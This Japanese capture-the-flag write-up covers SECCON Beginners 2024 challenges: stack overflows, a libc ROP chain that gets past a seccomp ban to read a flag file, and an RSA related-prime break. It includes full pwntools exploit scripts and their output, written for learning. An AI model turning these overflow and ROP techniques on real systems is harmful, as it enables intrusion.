mov rsi, 0x0                ; 終端文字
push rsi;
mov rsi, 0x7478742e67616c66 ; flag.txt
push rsi

mov rax, 0x2                ; openのシステムコール番号
mov rdi, rsp                ; ファイル名のアドレス（スタックの先頭）
mov rsi, 0x0                ; モード（O_RDONLY）
syscall

mov rdi, rax                ; ファイルディスクリプタ
mov rax, 0x0                ; readのシステムコール番号
mov rsi, rsp                ; 読み込みバッファのアドレス（スタックの先頭）
mov rdx, 0x100              ; 読み込みのサイズ
syscall

mov rdx, rax                ; 書き込みのサイズ（＝読み込んだサイズ）
mov rdi, 0x1                ; 標準出力のファイルディスクリプタ
mov rax, 0x1                ; writeのシステムコール番号
mov rsi, rsp                ; 読み込みバッファのアドレス（スタックの先頭）
syscall

Challenge 4に正解するとflagを入手できる。

感想

beginner問題にしては難しい気がした。 内容はアセンブリの基礎だが、システムコール番号と引数のレジスタを調べるのが意外と難しかったり、うまくいかなかったときにデバッグしづらいのが原因かもしれない。 正解数も2番目の問題より少なくなっていた。

simpleoverflow (pwnable: beginner)

pwnableジャンルの最初の問題。

問題の概要

ncの接続先情報と実行ファイル、さらにコンパイル前のソースコード（C言語）が与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

実行すると名前を聞かれ、入力するとメッセージとともに終了する

$ nc simpleoverflow.beginners.seccon.games 9000
name:takeo1116
Hello, takeo1116

You are not admin. bye

解法

10文字以上の名前を入力するとflagが出てくる。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaa
Hello, aaaaaaaaaa

ctf4b{0n_y0ur_m4rk}

入力を受け付けるbufのサイズが10であるのに対して、read関数で0x10 = 16文字を受け取っているため、メモリ上で隣り合っているis_adminのフラグが上書きされていると考えられる。

感想

reverseの1問目と比べると非常に簡単だと思った。

simpleoverwrite (pwnable: easy)

問題の概要

ncの接続先情報と実行ファイル、さらにコンパイル前のソースコード（C言語）が与えられる。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

実行すると入力を求められ、メッセージとともにリターンアドレスを出力して終了する。

$ nc simpleoverwrite.beginners.seccon.games 9001
input:test
Hello, test

return to: 0x7f055802d1ca

解法

ソースコードにwin関数があるので、リターンアドレスをwin関数のアドレスに書き換えることを考える。 長い文字列を入力するとBOFによってリターンアドレスが書き換えられていることがわかるので、win関数のアドレスを調べて入力するだけでよい。

$ nc simpleoverwrite.beginners.seccon.games 9001
input:abcdefghijklmnopqrstuvwxyz
Hello, abcdefghijklmnopqrstuvwxyz

return to: 0x7a79787776757473
from pwn import *

binary = ELF("./chall")
context.binary = binary

win = binary.symbols["win"]
print p64(win)
p = remote("simpleoverwrite.beginners.seccon.games",  9001)
p.recvuntil("input:")
p.sendline("a"*18 + p64(win))
p.interactive()

$ python2 exploit.py 
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/simpleoverwrite/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
\x86\x11@\x00\x00\x00\x00\x00
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

[*] Got EOF while reading in interactive
$

感想

オーソドックスな問題。

gachi-rop (pwnable: medium)

pwnableの4問目。問題名からしてROPの問題だと思われる。 ROP は以前に練習したので誰も解かなかったら行こうと思っていたが、チームメイトが解いてくれたので本番中は問題を見ていない。

問題の概要

ncの接続先情報と実行ファイルが与えられる。

実行するとメモリアドレスのようなものが表示され、名前を聞かれる。 入力するとメッセージが表示され終了する。

$ ./gachi-rop 
system@0x7f4489d67d70
Name: takeo1116
Hello, gachi-rop-takeo1116!!

解法

とりあえず、長い名前を入力すると異常終了することを確認。BOFが出来そうな感じがする。

$ ./gachi-rop 
system@0x7f19d2a53d70
Name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!!
Segmentation fault

GDBで調べたところ、25文字目以降がRET命令のリターンアドレスに上書きされるようだ。

さらに、checksecでNX enabledであることを確認（スタック領域のコードを実行できないため、shellcodeで解けない）

$ checksec --file=gachi-rop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified  Fortifiable      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   46) Symbols       No    0          2gachi-rop

ROPで解くつもりなので、rp++を使って使えそうなガジェットを探す。……が、全然なくて詰む。

$ ./rp-lin-x64 --file=gachi-rop --rop=7 | grep "pop"
0x0040116b: add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00401168: imul ebp, dword [rdi], 0x00 ; add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00401166: mov byte [0x00000000004040D8], 0x00000001 ; pop rbp ; ret  ;  (1 found)
0x004012ec: nop  ; pop rbp ; ret  ;  (1 found)
0x0040116d: pop rbp ; ret  ;  (1 found)
0x004012ed: pop rbp ; ret  ;  (1 found)

バイナリ自体が短いためret命令の数が少なく、raxレジスタに任意の値を入れることすら簡単にはできそうになかった。

色々な人のwriteupなどを調べたところ、この問題の構造は以下のようになっているとのことだった。

  • gachi-rop（実行ファイル）は内部で付属のlibc.so.6ファイルをロードしているので、libc.so.6ファイルからROPガジェットを取り出すことができる
  • execve, execveatシステムコールの実行が禁止されているので、簡単にはシェルを開けない
  • サーバ上に置かれているflagはファイル名が暗号化されており、ファイル名を知る必要がある

execveが禁止されていることはseccomp-toolsで確認できる

$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

flagについては、例によってサーバが閉じてしまっているので本番と同じパス、内容でローカルに用意した（ディレクトリ名は付属のdockerfileから確認可能だが、ファイル名は分からない）

$ ls ./ctf4b/
dummy.txt  flag-40ff81b29993c8fc02dbf404eddaf143.txt

これを使ってもう一度解いてみる。

まずはflagのファイル名を知る必要があるので、OPEN->GETENTS->WRITEの3つの命令を使ってctf4bディレクトリ内のファイルを表示する。

libc.so.6ファイル上での各命令のアドレスと実行時に命令がロードされるアドレスはズレがあるため、それを補正する必要がある。 ./gachi-ropを実行するとsystem関数がロードされているアドレスが表示されるので、これとlibcファイル内のsystem関数のアドレスの差分がlibcのベースアドレスである。

このことに注意して、以下のように書いてみた。

# coding: utf-8
from pwn import *

exe = ELF("./gachi-rop")
libc = ELF("./libc.so.6")
context.binary = exe

p = process("./gachi-rop")
# gdb.attach(p)

system_addr = int(p.recvline().split(b"@")[1], 16)
libc_base_address = system_addr - libc.symbols["system"]
print(hex(libc_base_address))

pop_rax = 0x00045eb0 + libc_base_address
pop_rdi = 0x0002a3e5 + libc_base_address
pop_rsi = 0x0002be51 + libc_base_address
pop_rcx = 0x0003d1ee + libc_base_address
pop_rdx_pop_r12 = 0x0011f2e7 + libc_base_address

xchg_eax_edi = 0x0014a1b5 + libc_base_address
xchg_eax_edx = 0x001b859a + libc_base_address

mov_qword_rdi_rcx = 0x000bfc76 + libc_base_address

syscall = 0x00091316 + libc_base_address

bss_section = exe.bss()
addr_path = bss_section
addr_buffer = bss_section + 64

payload = b""

# ディレクトリのパスをBSSに書き込む
payload += flat([
    pop_rdi, addr_path,                         # 書き込むアドレスをロード
    pop_rcx, b"ctf4b/\00\00",                   # 
    mov_qword_rdi_rcx,                          # アドレスを書き込む
])

# OPEN
payload += flat([
    pop_rax, 0x2,                               # システムコール番号
    pop_rdi, addr_path,                         # ディレクトリのアドレス
    pop_rsi, 0x0,                               # O_RDONLY
    pop_rdx_pop_r12, 0x02000000, 0xDEADBEEF,    # O_DIRECTORY
    syscall,
    ])

# GETDENTS
payload += flat([
    xchg_eax_edi,                               # raxのファイルディスクリプタをrdiに
    pop_rax, 0x4e,                              # システムコール番号
    pop_rsi, addr_buffer,                       # 書き込むバッファのアドレス
    pop_rdx_pop_r12, 0x100, 0xDEADBEEF,         # 読み込むバイト数
    syscall,
    ])

# WRITE
payload += flat([
    xchg_eax_edx,                               # raxの読み込みサイズをrdxに
    pop_rax, 0x1,                               # システムコール番号
    pop_rdi, 0x1,                               # 標準出力のファイルディスクリプタ
    pop_rsi, addr_buffer,                       # 読み込むバッファのアドレス
    syscall,
    ])

p.recvuntil("Name:")
p.sendline(b"a" * 24 + payload)
p.interactive()

これを実行すると

$ python3 solve1.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './gachi-rop': pid 752553
0x75869865b000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve1.py:68: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Name:")
[*] Switching to interactive mode
 Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5Sh\x98\x86u!!
\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04L\xc8\x00\x00\x00\xd6\x03\x00\x00\x00\x00\x00\x00\x00 \x00dummy.txt\x00\x00\x00\x0\xfce\x11\x04\x00\x00\x00\x00\x00\x00\x00@\x00flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00\[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 752553)
[*] Got EOF while sending in interactive

となり、flag-40ff81b29993c8fc02dbf404eddaf143.txtというファイル名が見えている。

これでflagのファイル名が分かった（という体）ので、今度はOPEN->READ->WRITEを使って中身を表示すればOK。 これはassemble（reverseの１問目）でやったことと同じである。

payload = b""

# ファイルパスをBSSに書き込む
path = b"ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt\00"
for idx in range(6):
    partial_path = path[idx*8:idx*8+8]          # 8バイトずつ
    payload += flat([
        pop_rdi, addr_path + idx*8,
        pop_rcx, partial_path,
        mov_qword_rdi_rcx,
    ])

# OPEN
payload += flat([
    pop_rax, 0x2,                               # システムコール番号
    pop_rdi, addr_path,                         # ファイルのアドレス
    pop_rsi, 0x0,                               # O_RDONLY
    syscall,
    ])

# READ
payload += flat([
    xchg_eax_edi,                               # raxのファイルディスクリプタをrdiに
    pop_rax, 0x0,                               # システムコール番号
    pop_rsi, addr_buffer,                       # 書き込むバッファのアドレス
    pop_rdx_pop_r12, 0x100, 0xDEADBEEF,         # 読み込みのサイズ
    syscall,
    ])

# WRITE
payload += flat([
    xchg_eax_edx,                               # raxの読み込みサイズをrdxに
    pop_rax, 0x1,                               # システムコール番号
    pop_rdi, 0x1,                               # 標準出力のファイルディスクリプタ
    pop_rsi, addr_buffer,                       # 読み込むバッファのアドレス
    syscall,
    ])

上のpayloadを使って実行すると、無事flagの中身を見ることができた。

$ python3 solve2.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './gachi-rop': pid 753080
0x7854d3faa000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve2.py:70: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Name:")
[*] Switching to interactive mode
 Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5C\xfd\xd3Tx!!
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 753080)
[*] Got EOF while sending in interactive

感想

普通にライブラリ周りの知識が抜けていた。 他の人のwriteupを見ると洗練された書き方などが分かるので役に立つ。

Safe Prime (crypto: beginner)

cryptoジャンルの1問目。 いままでのコンテストではcryptoはすべて他の人に任せていたので、入門として自分でも解いてみることにした。

問題の概要

pythonのスクリプトが与えられる。

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

さらに、テキストファイルが同梱されている

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

RSA暗号について

そもそもRSA暗号のことをよく分かってないので調べに行く。

  1. 2つの素数p, qを用意して、n=p\times qとする
  2. \phi(n) = (p-1)(q-1)を計算する
  3. \phi(n)と互いに素な数eを設定し、e\times d\equiv 1 \mod \phi(n)となるようなdを計算する

ここで、公開鍵は (e, n)であり、秘密鍵は (d, n)となる。

平文Mがあるとき、暗号文 Cは

C={M}^{e}\mod n と計算され、逆に

{C}^{d}\mod n = {M}^{e\times d} \mod n = M で復号できる。

RSA暗号はnの素因数分解が非常に難しいという事実によって安全性を担保しており、もし攻撃者によってp, qが知られてしまうと簡単に秘密鍵dを計算され、復号されてしまう。

解法

この問題では2つの素数にp, 2p+1という関係性があり、さらにそのことが攻撃者に知られているという状況が通常と異なる点である。

この状況下ではn=p(2p+1)=2{p}^{2}+pであり、二分探索することで現実的な時間でpを求めることが可能である。

pが分かったらqが分かるので\phi(n)が計算でき、

e\times d \equiv 1 \mod \phi(n) \ \iff ed = k\phi(n) + 1 \iff de - k\phi(n) = 1

かつ GCD(e, \phi(n)) = 1より拡張ユークリッドの互除法を用いて(d, k)を求められる。

# coding: utf-8

e = 65537
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

# 二分探索
# n = p * (2p+1)
leq, gt = 2, int(1e300)
while gt - leq > 1:
    p = (leq + gt) // 2
    if p * (2*p+1) <= n:
        leq = p
    else:
        gt = p

p = leq
q = 2 * p + 1

print(f"p = {p}") 
print(f"q = {q}")

phi = (p - 1) * (q - 1)

# 拡張ユークリッドの互除法
def exteuc(a, b):
    if b == 0:
        return 1, 0
    else:
        x, y = exteuc(b, a%b)
        return y, x - a // b * y

# de - kφ = 1
d, mk = exteuc(e, phi)
print(f"d = {d}")

m = pow(c, d, n)
print(m.to_bytes(61, "big"))

$ python3 solve.py 
p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787
d = 39708359129641443307492926100992797066513141179030677891758514628508737985246704498466008928936892308997404004807565975772999777485812695283579245196783778323738791447502633741922324004329254388584281471915351492843056669699641816744092900248208019906808318158844028513688595509549095747037229327819378712257
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'

感想

普通に勉強になる。 競プロっぽい知識を意外と忘れていることに気づく。